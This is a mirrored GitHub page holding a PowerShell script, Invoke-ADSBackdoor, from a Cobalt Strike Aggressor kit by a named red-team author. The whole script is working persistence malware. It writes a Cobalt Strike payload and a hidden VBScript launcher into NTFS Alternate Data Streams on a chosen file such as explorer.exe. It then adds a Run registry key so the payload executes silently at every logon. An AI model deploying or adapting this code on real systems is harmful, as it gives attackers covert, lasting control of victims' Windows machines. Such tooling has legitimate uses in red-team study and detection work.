mirror of
https://github.com/Und3rf10w/Aggressor-scripts
synced 2026-06-08 12:46:53 +00:00
Jonathan Echavarria
67 lines
3.1 KiB
PowerShell
67 lines
3.1 KiB
PowerShell
function Invoke-ADSBackdoor{
|
|
<#
|
|
.SYNOPSIS
|
|
Powershell Script that will use Alternate Data Streams to achieve persistence
|
|
Author: Matt Nelson (@enigma0x3), modified by Jonathan Echavarria (@Und3rf10w) to work with Cobalt Strike
|
|
|
|
.DESCRIPTION
|
|
This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by
|
|
using two Alternate Data Streams. The first Alternate Data stream stores the payload and the second Alternate Data Stream
|
|
stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the
|
|
payload. This script is not intented to be used outside the Cobalt Strike Und3rf10w Aggressor Kit workflow as it will
|
|
correctly generate all of the correct arguments.
|
|
|
|
.EXAMPLE
|
|
PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload <provided by cobalt strike>
|
|
|
|
#>
|
|
|
|
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$True)]
|
|
[string]$cobaltstrike_gen_payload
|
|
|
|
[Parameter(Mandatory=$False)]
|
|
[string]$RegKeyName
|
|
|
|
[Parameter(Mandatory=$False)]
|
|
[string]$backdoored_file_path
|
|
)
|
|
if (!$RegKeyName) {
|
|
Write-Host "Registry key name not provided, defaulting to 'Update'"
|
|
$RegKeyName = "Update"
|
|
}
|
|
|
|
if (!$backdoored_file_path) {
|
|
Write-Host "Path to file to backdoor not provided, defaulting to '$env:USERPROFILE\AppData'"
|
|
$backdoored_file_path = "$env:USERPROFILE\AppData"
|
|
}
|
|
|
|
$payload = $cobaltstrike_gen_payload
|
|
|
|
$payload_adsfile_name = [System.IO.Path]::GetRandomFileName()
|
|
$wrapper_adsfile_name = [System.IO.Path]::GetRandomFileName()
|
|
|
|
$vbstext1 = "Dim objShell"
|
|
$vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")"
|
|
$vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($backdoored_file_path" + ":" + "$payload_adsfile_name") do %i""" #TODO: change the path to a proper variable
|
|
$vbstext4 = "objShell.Run command, 0"
|
|
$vbstext5 = "Set objShell = Nothing"
|
|
$vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5
|
|
|
|
$createPayloadADS = {cmd /C "echo $payload > $backdoored_file_path:$payload_adsfile_name"}
|
|
Write-Host "Payload stored in $backdoored_file_path" + ":$payload_adsfile_name"
|
|
$createWrapperADS = {cmd /C "echo $vbtext > $backdoored_file_path:$wrapper_adsfile_name"}
|
|
Write-Host "Payload VBS wrapper stored in $backdoored_file_path" + ":$wrapper_adsfile_name"
|
|
|
|
Invoke-Command -ScriptBlock $createPayloadADS
|
|
Invoke-Command -ScriptBlock $createWrapperADS
|
|
|
|
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value "\"wscript.exe " + "$backdoored_file_path" + ":$wrapper_adsfile_name\"" -Force
|
|
|
|
Write-Host "Backdoor Deployed, details provided below, take notes:"
|
|
Write-Host "Reg key path: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName"
|
|
Write-Host "Payload path: $backdoored_file_path" + ":$payload_adsfile_name"
|
|
Write-Host "Wrapper path: $backdoored_file_path" + ":$wrapper_adsfile_name"
|
|
} |